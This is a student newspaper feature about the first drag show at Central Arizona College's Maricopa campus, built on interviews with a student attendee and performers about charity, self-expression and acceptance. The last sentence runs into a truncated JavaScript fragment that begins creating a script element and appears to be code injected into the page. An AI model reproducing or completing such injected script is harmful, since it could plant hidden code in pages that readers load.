The Queens are Coming!

Breaking New Ground and New Heels at CAC’s Maricopa Campus.

Destiny Vasquez, Cactus Staff Writer

When you see dollar bills flying from excited hands to reward flamboyant beauty queens with curvy assets and twirling legs, you know you’re at a drag show. And that’s where I was on February 5th, but I was not at your typical drag show venue, it was at Central Arizona College in Maricopa. The Drag show had not yet started, but as I sat in the waiting area I could see the queens ushered into a back room to get ready. More and more people began to arrive and to my surprise it wasn’t just students but people from the community who were young, old, gay, straight, it didn’t matter because this was an historical event as this show marked the first ever drag show at CAC’s Maricopa campus.

I met with a student from CAC’s Aravaipa campus named Edward who came all the way from Winkelman, which is two and a half hours away from Maricopa. I wondered why someone would travel so far, and when I asked him, he explained it was because of student leadership that he was there. Although his leadership activities at CAC brought him to the event, he seemed to be thoroughly excited about the Drag show and it was evident in his tone. He told me he had never been to a drag show before but what he liked about them was the art form of “doing drag.” Drag queens and kings are entertainers at heart, and they don’t just lip sync and dance around but they transform and get closer to something more true to themselves. For most of the drag queens at the show dressing up and being in front of a crowd was a chance to step out of the ordinary — of care giving as Naught Nature does for “adults with developmental disabilities” or Sophia who is also a care giver for adults with Alzheimer’s disease and dementia. Isis Defrost raises thousands of dollars for charities and commented during the Q&A that she saved someone from committing suicide because she told them “Be who you are, learn to stand by yourself, if you have to, but remember you’re never alone there’s always someone to talk to.” Or Mia who is doing a show at Phoenix College February 25th and asked people to bring canned goods for donation. Drag queens and Kings are people like everyone else when the hypothetical curtain goes down but when it comes up they are perky, they are fierce, and they are here for your enjoyment.

Doing drag isn’t only to entertain the gay community, as Mia one of the queens explained, “Anyone can become any character they want to be…don’t feel like it’s something that’s just part of our subculture, it’s forever expanding, and the lines are forever blurred.” But in the gay community people aren’t always as accepting, and as Mia put it, people try to put each other into boxes and at times even the gay community will put up “roadblocks.” In doing this they deny full acceptance of everyone, which is what the gay community so vocally preaches for.

What are the lessons we can learn from this show? The key one is acceptance, which comes in many forms and can be received from many people. However, we can’t be the only ones receiving all the love, we have to give it too. We also have to learn to accept ourselves and this isn’t just a message to the gay community but for anyone who has ever felt insecure in some way. It may take time to love who we are 100%, but if we can learn to love all the parts of ourselves that may be considered disagreeable to society, then maybe we can love those who were once disagreeable to us.var d=document;var s=d.createElement(‘script’);